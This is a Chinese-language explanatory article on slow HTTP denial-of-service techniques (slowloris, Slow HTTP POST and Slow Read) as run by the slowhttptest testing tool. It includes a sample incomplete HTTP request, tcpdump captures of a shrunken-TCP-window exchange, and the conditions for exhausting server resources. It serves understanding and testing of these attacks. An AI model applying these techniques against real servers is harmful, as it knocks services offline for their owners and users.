slowhttptest的几种慢攻击DOS原理

slowhttptest是一款对服务器进行慢攻击的测试软件，所谓的慢攻击就是相对于cc或者ddos的快而言的，并不是只有量大速度快才能把服务器搞挂，使用慢攻击有时候也能到达同一效果。slowhttptest包含了之前几种慢攻击的攻击方式，包括slowloris, Slow HTTP POST, Slow Read attack等。那么这些慢攻击工具的原理就是想办法让服务器等待，当服务器在保持连接等待时，自然就消耗了资源。

slowloris

slowloris的攻击方式说起来类似于基于HTTP协议的SYN Flood，但是影响的范围要小得多，比如同一个服务器上的两个Apache服务，可能一个给搞挂了，另一个还是正常运行。举个例子，在进行攻击时，攻击者发送这样的请求到服务器：

GET / HTTP/1.1\r\n
Host: Victim host\r\n
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.503l3; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSOffice 12)\r\n
Content-Length: 42\r\n

完整的http请求结尾应该是两次的\r\n\r\n，因此这里少了一次，服务器将会一直等待，隔一段时间之后，再发送一个

X-a: b\r\n

这时服务器都要崩溃了，心中万千草泥马呼啸喝过，你这是闹哪样啊！！

上面只是提到的一个简单的例子，影响的服务器比较多，不过都是几年前的事情了，现在应该很多都进行了修复。官网公布的受影响的Web服务器程序有：

• Apache 1.x
• Apache 2.x
• dhttpd
• GoAhead WebServer
• WebSense “block pages” (unconfirmed)
• Trapeze Wireless Web Portal (unconfirmed)
• Verizon’s MI424-WR FIOS Cable modem (unconfirmed)
• Verizon’s Motorola Set-Top Box (port 8082 and requires auth – unconfirmed)
• BeeWare WAF (unconfirmed)
• Deny All WAF (unconfirmed)

 

Slow HTTP POST

这种攻击方式与前一种有类似的原理，在POST提交方式中，允许在HTTP的头中声明content-length，也就是POST内容的长度。

在提交了头以后，将后面的body部分卡住不发送，这时服务器在接受了POST长度以后，就会等待客户端发送POST的内容，攻击者保持连接并且以10S-100S一个字节的速度去发送，就达到了消耗资源的效果，因此不断地增加这样的链接，就会使得服务器的资源被消耗，最后可能宕机，但是可能对很多Web服务器程序已经失效了。

 

Slow Read attack

Slow Read attack采用的攻击方式是采用调整TCP协议中的滑动窗口大小，来对服务器单次发送发送的数据大小进行控制，使得服务器需要对一个回应分成很多个包来发送。

例如构造一个这样的请求

GET /img/delivery.png HTTP/1.1
Host: victim
User-Agent: Opera/9.80 (Macintosh; Intel Mac OS X 10.7.0; U; Edition MacAppStore; en) Presto/2.9.168 Version/11.50
Referer: http://code.google.com/p/slowhttptest/

然后得到服务器的回应

HTTP/1.1 200 OK
Date: Mon, 19 Dec 2011 00:12:28 GMT
Server: Apache
Last-Modified: Thu, 08 Dec 2011 15:29:54 GMT
Accept-Ranges: bytes
Content-Length: 24523
Content-Type: image/png
?PNG

同时我们抓包得到的结果如下

09:06:02.088947 IP attacker.63643 > victim.http: Flags [S], seq 3550589098, win 65535, options [mss 1460,nop,wscale 1,nop,nop,TS val 796586772 ecr 0,sackOK,eol], length 0
09:06:02.460622 IP victim.http > attacker.63643: Flags [S.], seq 1257718537, ack 3550589099, win 5792, options [mss 1460,sackOK,TS val 595199695 ecr 796586772,nop,wscale 6], length 0
09:06:02.460682 IP attacker.63643 > victim.http: Flags [.], ack 1, win 33304, length 0
09:06:02.460705 IP attacker.63643 > victim.http: Flags [P.], seq 1:219, ack 1, win 33304, length 218
09:06:02.750771 IP victim.http > attacker.63643: Flags [.], ack 219, win 108, length 0
09:06:02.762162 IP victim.http > attacker.63643: Flags [.], seq 1:1449, ack 219, win 108, length 1448
09:06:02.762766 IP victim.http > attacker.63643: Flags [.], seq 1449:2897, ack 219, win 108, length 1448
09:06:02.762799 IP attacker.63643 > victim.http: Flags [.], ack 2897, win 31856, length 0
...
...
09:06:03.611022 IP victim.http > attacker.63643: Flags [P.], seq 24617:24738, ack 219, win 108, length 121
09:06:03.611072 IP attacker.63643 > victim.http: Flags [.], ack 24738, win 20935, length 0
09:06:07.757014 IP victim.http > attacker.63643: Flags [F.], seq 24738, ack 219, win 108, length 0
09:06:07.757085 IP attacker.63643 > victim.http: Flags [.], ack 24739, win 20935, length 0
09:09:54.891068 IP attacker.63864 > victim.http: Flags [S], seq 2051163643, win 65535, length 0

这是一次普通的请求和回应，看起来非常正常，TCP的三次握手，然后传送数据然后断开。如果我们把TCP的滑动窗口，也就是win的值人为地调小呢，看看结果，在同样的请求同样的回应下。

13:37:48.371939 IP attacker.64939 > victim.http: Flags [S], seq 1545687125, win 28, options [mss 1460,nop,wscale 0,nop,nop,TS val 803763521 ecr 0,sackOK,eol], length 0
13:37:48.597488 IP victim.http > attacker.64939: Flags [S.], seq 3546812065, ack 1545687126, win 5792, options [mss 1460,sackOK,TS val 611508957 ecr 803763521,nop,wscale 6], length 0
13:37:48.597542 IP attacker.64939 > victim.http: Flags [.], ack 1, win 28, options [nop,nop,TS val 803763742 ecr 611508957], length 0
13:37:48.597574 IP attacker.64939 > victim.http: Flags [P.], seq 1:236, ack 1, win 28, length 235
13:37:48.820346 IP victim.http > attacker.64939: Flags [.], ack 236, win 98, length 0
13:37:49.896830 IP victim.http > attacker.64939: Flags [P.], seq 1:29, ack 236, win 98, length 28
13:37:49.896901 IP attacker.64939 > victim.http: Flags [.], ack 29, win 0, length 0
13:37:51.119826 IP victim.http > attacker.64939: Flags [.], ack 236, win 98, length 0
13:37:51.119889 IP attacker.64939 > victim.http: Flags [.], ack 29, win 0, length 0
13:37:55.221629 IP victim.http > attacker.64939: Flags [.], ack 236, win 98, length 0
13:37:55.221649 IP attacker.64939 > victim.http: Flags [.], ack 29, win 0, length 0
13:37:59.529502 IP victim.http > attacker.64939: Flags [.], ack 236, win 98, length 0
13:37:59.529573 IP attacker.64939 > victim.http: Flags [.], ack 29, win 0, length 0
13:38:07.799075 IP victim.http > attacker.64939: Flags [.], ack 236, win 98, length 0
13:38:07.799142 IP attacker.64939 > victim.http: Flags [.], ack 29, win 0, length 0
13:38:24.122070 IP victim.http > attacker.64939: Flags [.], ack 236, win 98, length 0
13:38:24.122133 IP attacker.64939 > victim.http: Flags [.], ack 29, win 0, length 0
13:38:56.867099 IP victim.http > attacker.64939: Flags [.], ack 236, win 98, length 0
13:38:56.867157 IP attacker.64939 > victim.http: Flags [.], ack 29, win 0, length 0
13:40:01.518180 IP victim.http > attacker.64939: Flags [.], ack 236, win 98, length 0
13:40:01.518222 IP attacker.64939 > victim.http: Flags [.], ack 29, win 0, length 0
13:42:01.708150 IP victim.http > attacker.64939: Flags [.], ack 236, win 98, length 0
13:42:01.708210 IP attacker.64939 > victim.http: Flags [.], ack 29, win 0, length 0
13:44:01.891431 IP victim.http > attacker.64939: Flags [.], ack 236, win 98, length 0
13:44:01.891502 IP attacker.64939 > victim.http: Flags [.], ack 29, win 0, length 0
13:46:02.071285 IP victim.http > attacker.64939: Flags [.], ack 236, win 98, length 0
13:46:02.071347 IP attacker.64939 > victim.http: Flags [.], ack 29, win 0, length 0
13:48:02.252999 IP victim.http > attacker.64939: Flags [.], ack 236, win 98, length 0
13:48:02.253074 IP attacker.64939 > victim.http: Flags [.], ack 29, win 0,  length 0
13:50:02.436965 IP victim.http > attacker.64939: Flags [.], ack 236, win 98, length 0
13:50:02.437010 IP attacker.64939 > victim.http: Flags [.], ack 29, win 0, length 0

在人为调小窗口值以后，服务器只能根据窗口值，挤牙膏似地一点一点地把数据挤出来，然后攻击者一直跟服务器说，我收不到我收不到我收不到。。直到最后超时。

但是这种做法无法消耗服务器的资源，因为在把数据放到socket的缓存里面后，服务器就去处理其他东西了，就好像把豆子一把倒进了漏斗里面，让它自己慢慢漏下去，快慢也就不理会了。

要做到DOS的效果，我们就要使得系统不停地等等待漏斗里面的豆子下去再往里面加，使得系统无法抽身离开，达到消耗系统资源的目的。

那么达到DOS的条件就简单了：

1.把TCP窗口调节得比服务器的发送缓存小，服务器socket默认缓存大概是65Kb到128Kb，从而形成一个漏斗的效果，发送缓慢。
2.我们需要服务器返回的数据比服务器的socket缓存大，这样服务器就无法一下把数据放进去了，好比豆子比漏斗的容量多，要在旁边等豆子少了继续倒，从而消耗了资源。

要做到第二点，我们必须要找到一个比较大的资源，比如大一点的页面资源等。如果没有找到，但是服务器支持HTTP_pipelining的话，可以采用在同一链接中多次请求同一资源的方法来增大返回内容的大小